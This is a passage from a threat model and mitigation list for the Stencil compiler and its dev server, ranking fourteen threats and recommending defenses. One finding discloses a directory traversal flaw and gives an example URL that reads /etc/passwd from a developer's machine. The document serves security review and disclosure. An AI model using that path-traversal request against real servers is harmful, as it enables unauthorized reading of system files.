- Threat #7: Cross-Site Scripting (XSS) (46/50)
- Threat #10: XSS in SSR output (46/50)
- Threat #1: Arbitrary code execution via malicious configuration (43/50)
- Threat #4: Directory traversal attack (42.5/50)
- Threat #11: Server-side information disclosure (40/50)
- Threat #12: Server-side denial of service (38.5/50)
- Threat #8: Information disclosure via component state (38/50)
- Threat #6: Resource exhaustion (37.5/50)
- Threat #14: Information disclosure via logging (37.5/50)
- Threat #9: Client-side denial of service (36/50)
- Threat #5: Malicious WebSocket connection (32/50)
- Threat #3: Denial of service via malformed input (28.5/50)
- Threat #13: Argument injection (24/50)
This section outlines potential and existing mitigations for the identified threats.
Threat #1: Arbitrary code execution via malicious configuration or plugins
- Mitigation:
- Stencil's configuration is a TypeScript file (
stencil.config.ts
), which offers some type safety but does not prevent arbitrary code execution. Developers are responsible for trusting the code and plugins they use. - Recommendation: Run Stencil in a sandboxed environment (like a Docker container) during CI/CD to limit the blast radius of a compromised build script. Use tools like
npm audit
to check for vulnerable dependencies.
- Stencil's configuration is a TypeScript file (
Threat #2: Information disclosure of environment variables
- Mitigation:
- Stencil replaces
process.env.NODE_ENV
but does not expose other environment variables by default. - Recommendation: Developers should be careful not to manually expose sensitive environment variables in their
stencil.config.ts
or application code.
- Stencil replaces
Threat #3: Denial of service via malformed input
- Mitigation:
- Recommendation: Implement input validation and error handling in the compiler to gracefully handle malformed input files. Add timeouts for compilation processes to prevent infinite loops.
Threat #4: Directory traversal attack
- Mitigation: The dev server should sanitize file paths and prevent access to files outside of the project root.
- Finding (CVE-pending): The dev server is vulnerable to a directory traversal attack. The
normalizeHttpRequest
function insrc/dev-server/request-handler.ts
computes a file path from the request URL. This path is not properly sanitized or checked against the server's root directory. An attacker on the same network can craft a URL (e.g.,http://<ip>:<port>/../../etc/passwd
) to read arbitrary files on the developer's machine. The functionsserveFile
andserveDirectoryIndex
use this path to read from the file system, leading to the vulnerability. - Recommendation: Add a check in
src/dev-server/request-handler.ts
to ensure the resolved file path is located within the configuredroot
directory before attempting to access the file system.
- Finding (CVE-pending): The dev server is vulnerable to a directory traversal attack. The
Threat #5: Malicious WebSocket connection
- Mitigation: The WebSocket server should validate the
Origin
header to ensure it's a trusted source.- Recommendation: Implement Origin header validation for WebSocket connections and use authentication tokens for HMR communications.
Threat #6: Resource exhaustion
- Mitigation: Implement rate limiting and resource monitoring for the dev server.
- Recommendation: Add request rate limiting, connection limits, and monitoring for unusual traffic patterns.
Threat #7: Cross-Site Scripting (XSS)
- Mitigation:
- Stencil uses JSX, which automatically escapes data bindings to prevent XSS, similar to React.
- Recommendation: Developers should avoid using
innerHTML
with untrusted content. When it's necessary, they must sanitize the HTML.
Threat #8: Information disclosure via component state
- Mitigation:
- Recommendation: Implement proper data handling practices, avoid storing sensitive data in component state, and use secure communication channels for sensitive operations.
Threat #9: Client-side denial of service
- Mitigation:
- Recommendation: Implement performance monitoring, use efficient algorithms, and add safeguards against infinite loops in component logic.
Threat #10: XSS in SSR output
- Mitigation:
- Recommendation: For SSR, the same sanitization principles apply and are even more critical as the content is generated on a trusted server. Implement server-side input validation and output encoding.
Threat #11: Server-side information disclosure
- Mitigation:
- Recommendation: Implement proper error handling that doesn't expose internal details, use environment-specific configurations, and sanitize all output.
Threat #12: Server-side denial of service
- Mitigation:
- Recommendation: Implement resource limits, request timeouts, input validation, and monitoring for resource-intensive operations.
Threat #13: Argument injection
- Mitigation:
- Recommendation: Implement proper argument validation and sanitization, use parameterized commands, and avoid dynamic command construction.
Threat #14: Information disclosure via logging
- Mitigation:
- Recommendation: Implement secure logging practices, filter sensitive data from logs, and use structured logging with appropriate log levels.
- Keep Dependencies Updated: Regularly update project dependencies to patch known vulnerabilities.
- Secure Coding Practices: Developers using Stencil should follow standard secure coding practices for web applications.
- Input Validation: All data, whether from users, files, or network requests, should be validated and sanitized.